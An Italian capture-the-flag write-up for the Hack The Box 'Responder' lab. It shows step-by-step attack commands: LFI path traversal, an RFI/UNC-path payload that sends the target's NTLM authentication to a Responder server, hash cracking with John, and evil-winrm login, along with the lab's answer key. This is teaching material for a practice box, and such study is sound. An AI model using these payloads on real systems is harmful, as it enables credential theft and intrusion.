Responder

Autore: Lord Shiva Aggiornamento: 11.01.2023 Tempo di lettura: 07 min.
 

 

Al solito... prima operazione da fare sulla macchina nmap

$ nmap -sC -sV -p- -T5 -vv {ip_target}

 L'opzione -T5 consentirà di aumentare la velocità di scansione mentre l'opzione -p- è per scansionare tutte le porte.
Mentre il nostro comando continua ad essere eseguito, possiamo fare un salto con il brwoser per vedere il nostro target.
Otteniamo un redirect verso un dominio come mostrato nella schermata:

In questo caso dobbiamo entrare nel nosrto vhosts e associare l'ip della macchina al dominio.
Una volta salvato, aggiornando il browser otteniamo la seguente pagina:

Guardando il codice sorgente si evince che il sito utilizza pagine PHP.
Provando a cambiare la lingua, vediamo che il sistema passa un parametro in GET: page=french.html

Possiamo provare a vedere se il sistema è sensibile all'LFT (Inclusione di file locali). A questo punto proviamo a leggere un file che sicuramente è presente sulla macchina utilizzando il seguente indirizzo: http://unika.htb/index.php?page=../../../../../../../../../../windows/system32/drivers/etc/hosts ottenendo il seguente risultanto:

 Ora tutto questo è dovuto alla funzione include() in PHP 

→ Il nostro vero lavoro parte da qui. Ora quello che faremo qui è catturare l'hash NTLM (New Technology LAN Manager) del nostro amministratore usando uno strumento chiamato Responder. Da qui il nome della macchina.

Come funziona il Responder?
Il responder può eseguire molti tipi diversi di attacchi, ma per questo scenariolavoreremo per un server SMB dannoso. Quando la macchina di destinazione tenta di eseguire l'autenticazione NTLM su quel server, il Responder invia una richiesta al server di crittografare con la password dell'utente. Quando il server risponde, il Responder utilizzerà la sfida e la risposta crittografata per generare il NetNTLMv2. Anche se non possiamo invertire NetNTLMv2, possiamo provare molte password comuni diverse per vedere se qualcuna genera la stessa risposta alla sfida e, se ne troviamo una, sappiamo che è la password. Questo è spesso indicato come hash cracking, che faremo con un programma chiamato John The Ripper.

Primo passo, scaricare il Responder con il seguente comando: git clone https://github.com/lgandx/Responder

Verifica che il file di configurazione responder.conf sia uguale a questo qui di seguito riportato:

Una volta verificato eseguire il seguente comando:

$ python3 Responder.py -I {scheda_di_rete}

L'opzione -I ti consente di poter specificarel'interfaccia di rete.
Appena avviato il Responder puntare il browser sulla seguente pagina: http://unika.htb/?page=//{tuo:indirizzo_ip}/testest

Arriverai sulla seguente pagina:

Se adesso vai a controllare l'output del tuo Responder noterai che hai la tua hash.

A questo punto, metti la chiave in un file:

$ echo "tuo_hash_copiato" > hash.txt

e successivamente esegui John The Ripper per provare a decodificare la stringa

$ john --wordlist={path_del_tuo_rockyou.txt} hash.txt

A questo punto ha la password di amministratore che potrai utilizzare per accedere alla macchina. Ora il nostro servizio http è in esecuzione sulla porta 5985/tcp

$ evil-winrm -i {ip_del_target} -u administrator -p {password_craccata}

questo comando serve per ottenere PS nel nostro sistema di attacco con accesso amministratore utilizzando nome utente e password.

A questo punto non ti resta che andare sul desktop di mike per trovare la bandiera.

Domanda 1: Quando si visita il servizio Web utilizzando l'indirizzo IP, qual è il dominio a cui veniamo reindirizzati?
unika.htb

Domanda 2: Quale linguaggio di scripting viene utilizzato sul server per generare pagine web?
b

Domanda 3: Qual è il nome del parametro URL che viene utilizzato per caricare versioni in diverse lingue della pagina web
page

Domanda 4: Quale dei seguenti valori per il parametro `page` sarebbe usabile per una vulnerabilità LFI (Local File Include): "french.html", "//10.10.14.6/somefile", "../../. ./../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"
../../../../../../../../windows/system32/drivers/etc/hosts

Domanda 5: Quale dei seguenti valori per il parametro `page` sarebbe usabile per una vulnerabilità RFI (Remote File Include): "french.html", "//10.10.14.6/somefile", "../../. ./../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"
//10.10.14.6/somefile

Domanda 6: Cosa significa NTLM?
New Technology Lan Manager

Domanda 7: Quale flag utilizziamo nell'utilità Responder per specificare l'interfaccia di rete?
-I

Domanda 8: Esistono diversi strumenti che accettano una sfida/risposta NetNTLMv2 e provano milioni di password per vedere se qualcuna di esse genera la stessa risposta. Uno di questi strumenti viene spesso chiamato "john", ma il nome completo è cosa?.
John The Ripper

Domanda 9: Qual è la password di administrator?
badminton

Domanda 10: Useremo un servizio di Windows (ovvero in esecuzione sulla macchina) per accedere in remoto alla macchina del risponditore utilizzando la password che abbiamo recuperato. Su quale porta TCP è in ascolto?
5985

Domanda 11: Invia la flag
ea8...........................fac